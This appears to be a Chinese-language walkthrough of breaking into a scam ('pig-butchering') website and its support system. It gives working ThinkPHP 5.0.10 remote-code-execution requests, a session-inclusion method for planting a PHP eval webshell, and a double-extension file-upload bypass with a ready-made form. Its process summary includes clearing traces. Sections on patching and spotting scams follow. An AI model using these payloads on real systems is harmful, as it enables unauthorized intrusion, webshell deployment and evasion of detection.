深入诈骗团队
字数 1102 2025-08-06 08:35:44
ThinkPHP 5.0.10 安全漏洞分析与渗透测试实战
1. 目标系统分析
- 目标系统类型:诈骗团伙的杀猪盘网站
- 框架信息:ThinkPHP 5.0.10
- 关键特征:
- 开启了debug模式
- 使用TP5框架一键搭建
- 后台可随意修改用户金额
- 包含30个真实用户和400多个机器人账户
2. ThinkPHP 5.0.10 漏洞利用
2.1 初始信息收集
- 发现注册接口可作为入口点
- 通过报错信息确认框架版本为TP5.0.10
- debug模式开启增加了信息泄露风险
2.2 RCE漏洞利用
方法一:直接执行phpinfo
POST /index.php?s=captcha HTTP/1.1
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
方法二:Session文件包含Getshell
- 设置包含恶意代码的session:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
- 包含session文件执行代码:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();
2.3 后续渗透步骤
- 使用蚁剑连接Webshell
- 注意:需将POST参数加入HTTP body中
- 查找数据库配置文件:config/database.php
- 获取财务和技术联系方式
- 登录后台发现诈骗证据
3. 客服系统渗透测试
3.1 信息收集
- 系统识别:爱客服PHP在线客服系统
- 基于ThinkPHP二次开发
- 无直接RCE漏洞可用
3.2 黑名单绕过文件上传漏洞
-
漏洞位置:
application/admin/controller/Event.php中的uploadimg函数 -
漏洞分析:
- 使用黑名单限制上传文件类型
- 通过截取文件名最后一个点后的扩展名进行验证
- 可上传类似
index.jpg.php的文件绕过检测
-
利用方法:
- 构造上传表单:
<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data"> <label for="file">晨光客服上传</label> <input type="file" name="editormd-image-file" id="editormd-image-file"> <input type="submit" name="submit" value="submit"> </form>- 上传
index.jpg.php等双扩展名文件
4. 防御建议
4.1 针对ThinkPHP漏洞
- 及时升级到最新版本
- 生产环境关闭debug模式
- 禁用危险函数:
call_user_func、think\__include_file等 - 严格过滤输入参数
4.2 针对文件上传漏洞
- 使用白名单而非黑名单机制
- 检查文件内容而不仅依赖扩展名
- 上传文件重命名并存储在非web可访问目录
- 设置适当的文件权限
5. 诈骗网站特征识别
-
典型杀猪盘特征:
- 后台可随意修改用户金额
- 大量机器人账户
- 诱导用户不断充值
- 承诺高额回报
-
安全建议:
- 警惕"充值领钱"类骗局
- 不相信"一夜暴富"承诺
- 注意核实网站真实性
6. 扩展思考
-
对于ThinkPHP 5.0.24版本的渗透思路:
- 检查debug模式是否开启
- 寻找信息泄露点
- 检查是否为二次开发版本,可能存在其他漏洞
-
信息收集技巧:
- IP反查
- 子域名扫描
- 指纹识别
- 源码搜索
-
渗透测试流程总结:
- 信息收集 → 漏洞识别 → 漏洞利用 → 权限提升 → 数据收集 → 痕迹清理